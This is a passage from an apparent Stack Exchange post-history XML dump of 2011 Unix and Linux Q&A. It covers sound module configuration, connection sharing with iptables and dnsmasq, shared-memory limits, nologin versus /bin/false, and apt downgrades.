snd-card-2&#xD;&#xA;    install sound-slot-3 /sbin/modprobe snd-card-3&#xD;&#xA;    install sound-slot-4 /sbin/modprobe snd-card-4&#xD;&#xA;    install sound-slot-5 /sbin/modprobe snd-card-5&#xD;&#xA;    install sound-slot-6 /sbin/modprobe snd-card-6&#xD;&#xA;    install sound-slot-7 /sbin/modprobe snd-card-7&#xD;&#xA;    # Cause optional modules to be loaded above generic modules&#xD;&#xA;    install snd /sbin/modprobe --ignore-install snd &amp;&amp; { /sbin/modprobe --quiet snd-ioctl32 ; /sbin/modprobe --quiet snd-seq ; }&#xD;&#xA;    install snd-rawmidi /sbin/modprobe --ignore-install snd-rawmidi &amp;&amp; { /sbin/modprobe --quiet snd-seq-midi ; : ; }&#xD;&#xA;    install snd-emu10k1 /sbin/modprobe --ignore-install snd-emu10k1 &amp;&amp; { /sbin/modprobe --quiet snd-emu10k1-synth ; : ; }&#xD;&#xA;    &#xD;&#xA;    # Prevent abnormal drivers from grabbing index 0&#xD;&#xA;    options bt87x index=-2&#xD;&#xA;    options cx88_alsa index=-2&#xD;&#xA;    options snd-atiixp-modem index=-2&#xD;&#xA;    options snd-intel8x0m index=-2&#xD;&#xA;    options snd-via82xx-modem index=-2&#xD;&#xA;    # Keep snd-pcsp from beeing loaded as first soundcard&#xD;&#xA;    options snd-pcsp index=-2&#xD;&#xA;    # Keep snd-usb-audio from beeing loaded as first soundcard&#xD;&#xA;    options snd-usb-audio index=-2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps in helping me. Its really hard for me to concentrate w/out headphones :(" />
  <row Id="26208" PostHistoryTypeId="2" PostId="10844" RevisionGUID="fccb3303-b469-46f2-bb64-50f762c050ed" CreationDate="2011-04-07T18:24:22.523" UserId="6377" Text="When I think of the recent debacle where Canonical and Gnome disagreed and each went their own way in terms of producing a new desktop, I wonder: Why doesn't a desktop project like Gnome produce its own distro, rather than wait for other distros to punt or ship its product (if you can call it that)?" />
  <row Id="26209" PostHistoryTypeId="1" PostId="10844" RevisionGUID="fccb3303-b469-46f2-bb64-50f762c050ed" CreationDate="2011-04-07T18:24:22.523" UserId="6377" Text="Why don't Gnome or KDE produce their own distribution (or other desktop projects for that matter)?" />
  <row Id="26210" PostHistoryTypeId="3" PostId="10844" RevisionGUID="fccb3303-b469-46f2-bb64-50f762c050ed" CreationDate="2011-04-07T18:24:22.523" UserId="6377" Text="égnomeàékdeàédistrosàédesktopà" />
  <row Id="26211" PostHistoryTypeId="2" PostId="10845" RevisionGUID="75bc5821-a38c-4fd8-ba89-726dc84ab807" CreationDate="2011-04-07T18:32:17.610" UserId="2511" Text="I think &quot;Because it's a huge amount of work.&quot;" />
  <row Id="26212" PostHistoryTypeId="2" PostId="10846" RevisionGUID="c1191830-bbd2-400d-b6c2-cebd7660b068" CreationDate="2011-04-07T18:46:50.710" UserId="688" Text="On top of [mattdm's answer][1], I'd like to add:&#xD;&#xA;&#xD;&#xA;* Their missions are to create (good) desktops, not distributions. You might as well ask, why don't **FLOSS project X that isn't a distributor** (Apache, Python, Linux kernel, ...) produce it's own distribution. Their mission is to produce a (good) **whatever**, not a distribution.&#xD;&#xA;&#xD;&#xA;* The people working on these desktops are often working for distributions as well. For example, many of the most important people in GNOME are employed by Red Hat. Fedora (community distro supported by Red Hat), which is so bleeding edge that it sometimes receives updates before module tarballs are available, is a first-class GNOME distro as a result.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/10844/why-dont-gnome-or-kde-produce-their-own-distribution-or-other-desktop-projects/10845#10845" />
  <row Id="26213" PostHistoryTypeId="5" PostId="10814" RevisionGUID="941d6956-622d-4a6e-927e-82cad725fccd" CreationDate="2011-04-07T18:51:02.827" UserId="1594" Comment="clarify" Text="I wanted to put my work files (code) in `/usr/local/src`, but I think it's already a folder that has some other semantic meaning.&#xD;&#xA;&#xD;&#xA;What is that? Should I put source code there, or is there a better place?&#xD;&#xA;&#xD;&#xA;**Edit** - I am the sole user and admin of the machine, and I don't want to use my home directory because it's on an NFS drive." />
  <row Id="26214" PostHistoryTypeId="2" PostId="10847" RevisionGUID="a63dad0c-50db-495e-b280-36963dea2daf" CreationDate="2011-04-07T19:02:34.917" UserId="5666" Text="An alternative way, not perfect though, press `Ctrl-X` `Ctrl-E`. This will open your default editor containing your half typed command. Then you may save your command to a file or open a new shell from within your editor. When you exit the new shell it will return you to the editor and saving the contents will automatically execute them.&#xD;&#xA;&#xD;&#xA;This is not perfect because it doesn't return you to your original shell, but either forces the execution of the command or completely discards it. But there are no temporary selections or kill buffers to worry about, and there are also some nice tweaks, e.g. if editor=vi&#xD;&#xA;&#xD;&#xA;    :wq            # execute the command&#xD;&#xA;    :cq            # cancel and abort&#xD;&#xA;    :! command     # execute command&#xD;&#xA;    :shell         # open a new shell&#xD;&#xA;    :r filename    # insert the contents of a file for editing&#xD;&#xA;    :r ! command   # insert the output of a command for editing" />
  <row Id="26215" PostHistoryTypeId="5" PostId="10822" RevisionGUID="e06291fc-e9a3-497a-af5c-9d2161a5bed1" CreationDate="2011-04-07T19:05:13.617" UserId="5666" Comment="fixed wrong order of letters" Text="With the current version of gnu sort (and borrowing @penguin359 file pattern)&#xD;&#xA;&#xD;&#xA;    cd /tmp; du -sSh .[^.] .??* * | sort -h&#xD;&#xA;&#xD;&#xA;With an older version of sort&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    foo=$(du -sSh .[^.] .??* *)&#xD;&#xA;    for u in K M G T; do&#xD;&#xA;        echo &quot;$foo&quot; | egrep &quot;^[0-9\.]+$u&quot; | sort -n&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;EDIT: added *-S* parameter to `du` to not include subdirectories.&#xD;&#xA;" />
  <row Id="26216" PostHistoryTypeId="2" PostId="10848" RevisionGUID="f62ff772-a9ea-4fb4-8903-154f2893206f" CreationDate="2011-04-07T19:09:43.333" UserId="2701" Text="I must agree with teZeriusz: Shorewall is a quick and easy way to configure and manage a router ([Documentation here][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shorewall.net/two-interface.htm" />
  <row Id="26217" PostHistoryTypeId="5" PostId="10822" RevisionGUID="967a5490-c9aa-42d3-9827-983c3c28d81d" CreationDate="2011-04-07T19:36:01.787" UserId="5666" Comment="added 2 characters in body" Text="With the current version of gnu sort (and borrowing @penguin359 file pattern)&#xD;&#xA;&#xD;&#xA;    cd /tmp; du -sShc .[^.] .??* * | sort -h&#xD;&#xA;&#xD;&#xA;With an older version of sort&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    foo=$(du -sShc .[^.] .??* *)&#xD;&#xA;    for u in K M G T; do&#xD;&#xA;        echo &quot;$foo&quot; | egrep &quot;^[0-9\.]+$u&quot; | sort -n&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;EDIT: added *-S* parameter to `du` to not include subdirectories.&#xD;&#xA;" />
  <row Id="26218" PostHistoryTypeId="2" PostId="10849" RevisionGUID="1550017b-ca59-470d-96eb-4d61ddd26660" CreationDate="2011-04-07T19:53:08.007" UserId="885" Text="Here's how you can set up IPv4 connection sharing manually on a Linux machine. On the router (the desktop), enable packet forwarding, set up [masquerading](http://en.wikipedia.org/wiki/Network_address_translation) on the Internet-facing interface (`eth0`), and use a private IP range on the local interface (`eth1`). Run these commands as root:&#xD;&#xA;&#xD;&#xA;    sysctl -w net.ipv4.ip_forward=1&#xD;&#xA;    iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&#xD;&#xA;    ifconfig eth1 up 10.1.1.1 broadcast 10.1.1.255 netmask 255.255.255.0&#xD;&#xA;&#xD;&#xA;On the laptop, you can set up a static address and route (`eth0` being the wired interface):&#xD;&#xA;&#xD;&#xA;    ifconfig eth0 up 10.1.1.2 broadcast 10.1.1.255 netmask 255.255.255.0&#xD;&#xA;    route add -net 0.0.0.0/0 gw 10.1.1.1&#xD;&#xA;&#xD;&#xA;To avoid having to set up anything special on the laptop, you can run a DHCP server on the desktop. For example, install [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html) and enable its built-in DHCP server by editing `/etc/dnsmasq.conf` to include the following lines:&#xD;&#xA;&#xD;&#xA;    except-interface=eth0&#xD;&#xA;    dhcp-range=10.1.1.128,10.1.1.254,24h&#xD;&#xA;&#xD;&#xA;Note that Network Manager may interfere with these instructions. If you're running it on the router, either stop it or read the [Ubuntu community Internet Connection Sharing page](https://help.ubuntu.com/community/Internet/ConnectionSharing). (Network Manager on the laptop isn't a problem.)&#xD;&#xA;&#xD;&#xA;If you want these settings to persist after a reboot, this is somewhat distribution-dependent. On Debian and derived distributions, put the following line in `/etc/sysctl.d/connection-sharing.conf`:&#xD;&#xA;&#xD;&#xA;    net.ipv4.ip_forward=1&#xD;&#xA;&#xD;&#xA;and the following lines in `/etc/network/interfaces`:&#xD;&#xA;&#xD;&#xA;    auto eth1&#xD;&#xA;    iface eth1 inet static&#xD;&#xA;        address 10.1.1.1&#xD;&#xA;        broadcast 10.1.1.255&#xD;&#xA;        netmask 255.255.255.0&#xD;&#xA;        post-up iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&#xD;&#xA;" />
  <row Id="26219" PostHistoryTypeId="6" PostId="10831" RevisionGUID="c8a53f77-7916-47d2-af04-a1af861bf442" CreationDate="2011-04-07T19:53:26.197" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéipàéconnectionösharingà" />
  <row Id="26220" PostHistoryTypeId="2" PostId="10850" RevisionGUID="cec276e5-8da4-4de2-91d9-71acaf110aae" CreationDate="2011-04-07T19:57:40.807" UserId="6154" Text="I run DB2 on Linux where I have to allocate the vast majority of memory on the machine to shared memory segments.&#xD;&#xA;&#xD;&#xA;This page is typical of the info that I've found about shmall/shmmax:&#xD;&#xA;http://www.pythian.com/news/245/the-mysterious-world-of-shmmax-and-shmall/&#xD;&#xA;&#xD;&#xA;My system is running fine now, but I'm wondering if there's a historical or philosophical reason why shared memory is so low by default. In other words, why not let shmall default to the max physical memory on the machine?&#xD;&#xA;&#xD;&#xA;Or in other words, why should a typical admin need to be 'protected from himself' if an app happens to use a lot of shared memory, and have to go in and change these settings? The only thing I can think of is that it does let me set an upper bound to how much memory DB2 can use, but that's a special case." />
  <row Id="26221" PostHistoryTypeId="1" PostId="10850" RevisionGUID="cec276e5-8da4-4de2-91d9-71acaf110aae" CreationDate="2011-04-07T19:57:40.807" UserId="6154" Text="Linux - why is kernel.shmall so low by default?" />
  <row Id="26222" PostHistoryTypeId="3" PostId="10850" RevisionGUID="cec276e5-8da4-4de2-91d9-71acaf110aae" CreationDate="2011-04-07T19:57:40.807" UserId="6154" Text="émemoryàésharedömemoryàéetcà" />
  <row Id="26223" PostHistoryTypeId="2" PostId="10851" RevisionGUID="5b8c04be-c1b4-455f-8f1d-2a80fb45844f" CreationDate="2011-04-07T20:06:23.023" UserId="885" Text="In zsh, I type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to “suspend” the command I'm typing and type another command. After I've run that command (or aborted it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;), the suspended command comes back for edition (even remembering the cursor position). As an additional convenience, if the command line is empty when I type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;, the key invokes the `bg` built-in instead (so a double &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; sends a running command directly to the background).&#xD;&#xA;&#xD;&#xA;    fancy-ctrl-z () {&#xD;&#xA;      emulate -LR zsh&#xD;&#xA;      if [[ $#BUFFER -eq 0 ]]; then&#xD;&#xA;        bg&#xD;&#xA;        zle redisplay&#xD;&#xA;      else&#xD;&#xA;        zle push-input&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;    zle -N fancy-ctrl-z&#xD;&#xA;    bindkey '^Z'          fancy-ctrl-z&#xD;&#xA;&#xD;&#xA;I don't know how to do something similar in bash.&#xD;&#xA;&#xD;&#xA;In any shell, you can use the low-tech method of [adding a `#` at the beginning of the current line](http://unix.stackexchange.com/questions/10825/remember-a-half-typed-command-while-i-check-something/10827#10827).&#xD;&#xA;" />
  <row Id="26224" PostHistoryTypeId="2" PostId="10852" RevisionGUID="3f55287f-a7e3-4419-8528-63571bf417b1" CreationDate="2011-04-07T20:08:18.813" UserId="29" Text="Technically, unless `pam` is set up to check your shell with `pam_shells` neither of these can actually prevent your login, if you're not on the shell. On my system they are even different sizes, so I suspect they actually do something. So what's the difference? why do they both exist? Why would I use one over the other?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -rwxr-xr-x 1 root root  21K Feb  4 17:01 /bin/false&#xD;&#xA;    -rwxr-xr-x 1 root root 4.7K Mar  2 14:59 /sbin/nologin&#xD;&#xA;" />
  <row Id="26225" PostHistoryTypeId="1" PostId="10852" RevisionGUID="3f55287f-a7e3-4419-8528-63571bf417b1" CreationDate="2011-04-07T20:08:18.813" UserId="29" Text="What's the difference between /sbin/nologin and /bin/false" />
  <row Id="26226" PostHistoryTypeId="3" PostId="10852" RevisionGUID="3f55287f-a7e3-4419-8528-63571bf417b1" CreationDate="2011-04-07T20:08:18.813" UserId="29" Text="éshellàésecurityàéloginà" />
  <row Id="26227" PostHistoryTypeId="5" PostId="10825" RevisionGUID="95841cf1-e650-4dae-b4bc-2613905891fd" CreationDate="2011-04-07T20:12:23.367" UserId="6339" Comment="small cosmetic changes" Text="I often find myself in the following position: I've started typing a long command at the bash prompt, but half-way through I find out I need to check something with another command. This is a problem when I'm at the console (no X), which is often the case, because then I only have the following unsatisfactory ways to do it, that I know of:&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt; Hit ctrl+alt+F2 and log in on another virtual console, and find out what I wanted, then go back and continue&#xD;&#xA;&lt;li&gt; ctrl+a, type echo + space + enter, find out what I wanted, press uparrow until I find my command, ctrl+a, del x 5, ctrl+e, and continue&#xD;&#xA;&lt;li&gt; Highlight what I've typed so far with my mouse (if gpm is running, which it usually is), press ctrl+c to interrupt, find out what I wanted while being careful not to use my mouse to highlight stuff, then press middle mouse button on a new prompt and continue&#xD;&#xA;&lt;li&gt; Pray to the command line gods that the half-written command will have no adverse effects but simply fail, and gingerly press enter, then find out what I wanted, press uparrow until I get my command back, and continue&#xD;&#xA;&lt;li&gt; Jump into my time machine, travel back in time and remind myself to start screen before starting to type command, travel back to the present, press ctrl+a c, find out what I wanted, press ctrl+a ctrl+a, and continue&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;So what I want to know is, is there some more elegant way of doing this? A sort of subshell-command or similar?&#xD;&#xA;&#xD;&#xA;I'm most interested in methods that do not require any preparations or setup to work." />
  <row Id="26228" PostHistoryTypeId="2" PostId="10853" RevisionGUID="ac1f0b2b-8900-459b-856e-0914e4fb5976" CreationDate="2011-04-07T20:14:40.790" UserId="885" Text="On my machine, `nologin` displays always the same message, in English, ignoring arguments. `/bin/false` responds to `--version` and `--help` in the language indicated by `$LC_CTYPE`. Other than these cosmetic differences, they have the same effect.&#xD;&#xA;&#xD;&#xA;Usability-wise, `nologin` is better if it's used on the account of a real person who speaks English. Security-wise, there is no difference.&#xD;&#xA;" />
  <row Id="26229" PostHistoryTypeId="2" PostId="10854" RevisionGUID="9bee0d0d-2e07-49de-87dd-9a65d0693f4a" CreationDate="2011-04-07T20:14:51.973" UserId="6122" Text="/bin/false only job is to exit with a non-zero exit code.&#xD;&#xA;&#xD;&#xA;Try it at the command line:&#xD;&#xA;&#xD;&#xA;    $:&gt; /bin/false&#xD;&#xA;    $:&gt; echo $?&#xD;&#xA;    1&#xD;&#xA;    $:&gt;&#xD;&#xA;&#xD;&#xA;Some institutions use /bin/false in the shell field of the password file. If  user tries to login, the shell is /bin/false, so they are exited right away&#xD;&#xA;&#xD;&#xA;I hope this helps." />
  <row Id="26230" PostHistoryTypeId="6" PostId="10850" RevisionGUID="d0c70655-a8da-46ed-959c-608df53252da" CreationDate="2011-04-07T20:15:20.150" UserId="885" Comment="edited tags" Text="élinuxàésecurityàémemoryàélimitàésharedömemoryà" />
  <row Id="26231" PostHistoryTypeId="6" PostId="10840" RevisionGUID="220b0546-f492-41ca-8f3a-2f79dc42c7c4" CreationDate="2011-04-07T20:19:57.933" UserId="885" Comment="edited tags" Text="éprocessàépipeà" />
  <row Id="26232" PostHistoryTypeId="6" PostId="10826" RevisionGUID="75c9fad4-4dd5-44cd-8473-a93294e42372" CreationDate="2011-04-07T20:20:41.037" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàébinaryà" />
  <row Id="26233" PostHistoryTypeId="2" PostId="10855" RevisionGUID="f8e1f464-07b7-4058-baba-3367f3a4efaa" CreationDate="2011-04-07T20:22:20.183" UserId="29" Text="Is it possible to create a &quot;guest&quot; account in Linux? by &quot;guest&quot; account I mean an account that does not require a password to log in graphically, does not have shell access, and is not able to login remotely.&#xD;&#xA;&#xD;&#xA;I want this account for when people come over and are like &quot;can I use your computer to check my email&quot;. Then I don't have to worry about them snooping my stuff.&#xD;&#xA;&#xD;&#xA;I realize that some of this may require doing stuff specific to the login manager, since I wouldn't be surprised that this is a common problem, it'd be best to include instructions for `xdm`, `kdm`, and `gdm` and any other login managers that I haven't listed." />
  <row Id="26234" PostHistoryTypeId="1" PostId="10855" RevisionGUID="f8e1f464-07b7-4058-baba-3367f3a4efaa" CreationDate="2011-04-07T20:22:20.183" UserId="29" Text="Can I create a local only guest account?" />
  <row Id="26235" PostHistoryTypeId="3" PostId="10855" RevisionGUID="f8e1f464-07b7-4058-baba-3367f3a4efaa" CreationDate="2011-04-07T20:22:20.183" UserId="29" Text="ésecurityàépamàéaccountörestrictionsà" />
  <row Id="26236" PostHistoryTypeId="2" PostId="10856" RevisionGUID="0d19d234-8378-453d-b822-085491242610" CreationDate="2011-04-07T20:31:46.787" UserId="4176" Text="Seems like I really shouldn't need to create a script for this. I'd like to do something `cp /etc/*.conf $1.orig` or `cp /etc/{a.conf,b.conf} _firstarg_.orig` Is there a quick and painless way of doing this? " />
  <row Id="26237" PostHistoryTypeId="1" PostId="10856" RevisionGUID="0d19d234-8378-453d-b822-085491242610" CreationDate="2011-04-07T20:31:46.787" UserId="4176" Text="Copy multiple files and append to end of filename" />
  <row Id="26238" PostHistoryTypeId="3" PostId="10856" RevisionGUID="0d19d234-8378-453d-b822-085491242610" CreationDate="2011-04-07T20:31:46.787" UserId="4176" Text="ébashàécpà" />
  <row Id="26239" PostHistoryTypeId="2" PostId="10857" RevisionGUID="f8a787f8-0c5f-4cb5-a3cd-053502e2bd23" CreationDate="2011-04-07T20:34:55.040" UserId="6384" Text="Hi, I have an Ubuntu Server, and when I type who, to see who's connected, I can see that there's a user connected, and instead of being logged to a pts/x, he's connected to hvc0. Is there something to worry about?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="26240" PostHistoryTypeId="1" PostId="10857" RevisionGUID="f8a787f8-0c5f-4cb5-a3cd-053502e2bd23" CreationDate="2011-04-07T20:34:55.040" UserId="6384" Text="What is hvc0 ? (appearing in &quot;who&quot; list)" />
  <row Id="26241" PostHistoryTypeId="3" PostId="10857" RevisionGUID="f8a787f8-0c5f-4cb5-a3cd-053502e2bd23" CreationDate="2011-04-07T20:34:55.040" UserId="6384" Text="éubuntuàésecurityà" />
  <row Id="26242" PostHistoryTypeId="5" PostId="10820" RevisionGUID="fb62a41c-2952-4bc6-a08a-8db5fd025f08" CreationDate="2011-04-07T20:35:26.143" UserId="5666" Comment="added 847 characters in body; added 8 characters in body; added 12 characters in body" Text="Maybe you removed alsa related packages or you messed up their installation. Since there are no *snd_** modules loaded, it's probable that `/etc/modprobe.d/alsa-base.conf` is wrong or missing. Try reinstalling alsa and reboot:&#xD;&#xA;&#xD;&#xA;    apt-get --reinstall install alsa-base alsa-oss alsa-utils gstreamer0.10-alsa&#xD;&#xA;&#xD;&#xA;Sometimes, upgrading a package, with many dependencies, to a major release version,   a lot of those dependencies might be removed and replaced with alternative packages. When downgrading to the previous release, it is not certain that the dependency chain will return to it's original state. Especially the upgraded configuration files.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;So, if you have upgraded from another repository than stable, like the experimental one, there is a way to downgrade all your packages to the stable release and hopefully fix all dependencies.&#xD;&#xA;&#xD;&#xA;Create a file `/etc/apt/preferences` and add the following contents:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release a=squeeze&#xD;&#xA;    Pin-Priority: 1001&#xD;&#xA;&#xD;&#xA;This is called pinning and it will give maximum priority to squeeze packages. Ensure you have squeeze repositories in `/etc/apt/sources.list` and run&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get -d dist-upgrade&#xD;&#xA;    apt-get dist-upgrade&#xD;&#xA;&#xD;&#xA;This will downgrade every package to stable release. You have to be careful and watch the whole process, as all installation scripts are optimized for upgrading and not downgrading, this means that some packages may try to install in the wrong order. If that cause the downgrade to break, use `dpkg --force-all -i /var/cache/apt/archives/&lt;pkgname&gt;.deb` to force the installation of any required package, or `apt-get -f install` when needed and restart the `dist-upgrade` process.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26243" PostHistoryTypeId="6" PostId="10855" RevisionGUID="ec3dd055-594a-4cb3-b0df-0e91fc320c3e" CreationDate="2011-04-07T20:38:53.393" UserId="29" Comment="add login-manager tag" Text="ésecurityàépamàéaccountörestrictionsàéloginömanagerà" />
  <row Id="26244" PostHistoryTypeId="5" PostId="10820" RevisionGUID="53fffce3-1fcd-4ece-9d6b-5a64be8edcb5" CreationDate="2011-04-07T20:41:37.710" UserId="5666" Comment="added 43 characters in body" Text="Maybe you removed alsa related packages or you messed up their installation. Since there are no *snd_** modules loaded, it's probable that `/etc/modprobe.d/alsa-base.conf` is wrong or missing. Try reinstalling alsa and reboot:&#xD;&#xA;&#xD;&#xA;    apt-get --reinstall install alsa-base alsa-oss alsa-utils gstreamer0.10-alsa&#xD;&#xA;&#xD;&#xA;Sometimes, upgrading a package, with many dependencies, to a major release version,   a lot of those dependencies might be removed and replaced with alternative packages. When downgrading to the previous release, it is not certain that the dependency chain will return to it's original state. Especially the upgraded configuration files.&#xD;&#xA;&#xD;&#xA;You can try making a new installation, similar to your original one, to another system (virtualbox?) and compare the sound related packages, their versions and config files between the two systems.&#xD;&#xA;&#xD;&#xA;Remove `/etc/apt/preferences` at the end." />
  <row Id="26245" PostHistoryTypeId="8" PostId="10820" RevisionGUID="5d91fc3a-ab90-4d4d-b65d-36455ad4cdf6" CreationDate="2011-04-07T20:42:31.577" UserId="5666" Comment="Rollback to [fb62a41c-2952-4bc6-a08a-8db5fd025f08]" Text="Maybe you removed alsa related packages or you messed up their installation. Since there are no *snd_** modules loaded, it's probable that `/etc/modprobe.d/alsa-base.conf` is wrong or missing. Try reinstalling alsa and reboot:&#xD;&#xA;&#xD;&#xA;    apt-get --reinstall install alsa-base alsa-oss alsa-utils gstreamer0.10-alsa&#xD;&#xA;&#xD;&#xA;Sometimes, upgrading a package, with many dependencies, to a major release version,   a lot of those dependencies might be removed and replaced with alternative packages. When downgrading to the previous release, it is not certain that the dependency chain will return to it's original state. Especially the upgraded configuration files.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;So, if you have upgraded from another repository than stable, like the experimental one, there is a way to downgrade all your packages to the stable release and hopefully fix all dependencies.&#xD;&#xA;&#xD;&#xA;Create a file `/etc/apt/preferences` and add the following contents:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release a=squeeze&#xD;&#xA;    Pin-Priority: 1001&#xD;&#xA;&#xD;&#xA;This is called pinning and it will give maximum priority to squeeze packages. Ensure you have squeeze repositories in `/etc/apt/sources.list` and run&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get -d dist-upgrade&#xD;&#xA;    apt-get dist-upgrade&#xD;&#xA;&#xD;&#xA;This will downgrade every package to stable release. You have to be careful and watch the whole process, as all installation scripts are optimized for upgrading and not downgrading, this means that some packages may try to install in the wrong order. If that cause the downgrade to break, use `dpkg --force-all -i /var/cache/apt/archives/&lt;pkgname&gt;.deb` to force the installation of any required package, or `apt-get -f install` when needed and restart the `dist-upgrade` process.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26246" PostHistoryTypeId="5" PostId="10820" RevisionGUID="e2f96f77-13a1-4c05-a85f-409149a02dce" CreationDate="2011-04-07T20:42:54.900" UserId="5666" Comment="added 39 characters in body" Text="Maybe you removed alsa related packages or you messed up their installation. Since there are no *snd_** modules loaded, it's probable that `/etc/modprobe.d/alsa-base.conf` is wrong or missing. Try reinstalling alsa and reboot:&#xD;&#xA;&#xD;&#xA;    apt-get --reinstall install alsa-base alsa-oss alsa-utils gstreamer0.10-alsa&#xD;&#xA;&#xD;&#xA;Sometimes, upgrading a package, with many dependencies, to a major release version,   a lot of those dependencies might be removed and replaced with alternative packages. When downgrading to the previous release, it is not certain that the dependency chain will return to it's original state. Especially the upgraded configuration files.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;So, if you have upgraded from another repository than stable, like the experimental one, there is a way to downgrade all your packages to the stable release and hopefully fix all dependencies.&#xD;&#xA;&#xD;&#xA;Create a file `/etc/apt/preferences` and add the following contents:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release a=squeeze&#xD;&#xA;    Pin-Priority: 1001&#xD;&#xA;&#xD;&#xA;This is called pinning and it will give maximum priority to squeeze packages. Ensure you have squeeze repositories in `/etc/apt/sources.list` and run&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get -d dist-upgrade&#xD;&#xA;    apt-get dist-upgrade&#xD;&#xA;&#xD;&#xA;This will downgrade every package to stable release. You have to be careful and watch the whole process, as all installation scripts are optimized for upgrading and not downgrading, this means that some packages may try to install in the wrong order. If that cause the downgrade to break, use `dpkg --force-all -i /var/cache/apt/archives/&lt;pkgname&gt;.deb` to force the installation of any required package, or `apt-get -f install` when needed and restart the `dist-upgrade` process.&#xD;&#xA; &#xD;&#xA;Remove `/etc/apt/preferences` at the end." />
  <row Id="26247" PostHistoryTypeId="2" PostId="10858" RevisionGUID="344bc69d-5044-4955-ac32-f64474b7be6a" CreationDate="2011-04-07T20:43:05.307" UserId="3001" Text="hvc0 is the Xen hypervisor console.  Is the administrator of the Xen host logging into your virtual machine?&#xD;&#xA;" />
  <row Id="26248" PostHistoryTypeId="5" PostId="10857" RevisionGUID="1ceceb72-3b0d-4299-90f9-df72928559f8" CreationDate="2011-04-07T20:45:06.863" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="I have an Ubuntu Server, and when I type `who`, to see who's connected, I can see that there's a user connected, and instead of being logged to a `pts/x`, he's connected to `hvc0`. Is there something to worry about?&#xD;&#xA;" />
  <row Id="26249" PostHistoryTypeId="4" PostId="10857" RevisionGUID="1ceceb72-3b0d-4299-90f9-df72928559f8" CreationDate="2011-04-07T20:45:06.863" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="What is hvc0? (appearing in &quot;who&quot; list)" />
  <row Id="26250" PostHistoryTypeId="6" PostId="10857" RevisionGUID="1ceceb72-3b0d-4299-90f9-df72928559f8" CreationDate="2011-04-07T20:45:06.863" UserId="73" Comment="deleted 7 characters in body; edited tags; edited title" Text="éubuntuàésecurityàéusersà" />
  <row Id="26251" PostHistoryTypeId="5" PostId="10858" RevisionGUID="220925ae-4165-433c-b15d-fe3200dd9eda" CreationDate="2011-04-07T20:48:57.623" UserId="3001" Comment="formatting" Text="`hvc0` is the Xen hypervisor console.  Is the administrator of the Xen host logging into your virtual machine?&#xD;&#xA;" />
  <row Id="26252" PostHistoryTypeId="2" PostId="10859" RevisionGUID="0b893e54-b6b4-4b44-b702-d459337b20cf" CreationDate="2011-04-07T20:52:11.737" UserId="5666" Text="If those files have **no spaces or other special characters** on their names, the easiest way is&#xD;&#xA;&#xD;&#xA;    for f in /etc/*.conf; do cp -v $f{,.orig}; done&#xD;&#xA;" />
  <row Id="26253" PostHistoryTypeId="2" PostId="10860" RevisionGUID="0b2d38c4-3041-417a-838a-9f671fbfbdee" CreationDate="2011-04-07T20:54:19.803" UserId="4520" Text="Shared memory is not always a protected resource.  As such many users can allocate shared memory.  It is also not automatically returned to the memory pool when the process which allocated it dies.  This can result in shared memory allocations which have been allocated but not used.  This results in a memory leak that may not be obvious. &#xD;&#xA;&#xD;&#xA;By keeping shared memory limits low, most processes which use shared memory (in small amounts) can run.  However, the potential damage is limited.  The only systems I have uses which require large amounts of shared memory are database servers.  These usually are administered by system administrators who are aware of the requirements.  If not, the DBA usually is aware of the requirement and can ask for appropriate configuration changes.  The database installation instructions usually specify how to calculate and set the appropriate limits.&#xD;&#xA;&#xD;&#xA;I have had databases die and leave large amounts of shared memory allocated, but unused.  This created problems for users of the system, and prevented restarting the database.  Fortunately, there where tools which allowed the memory to be located and released." />
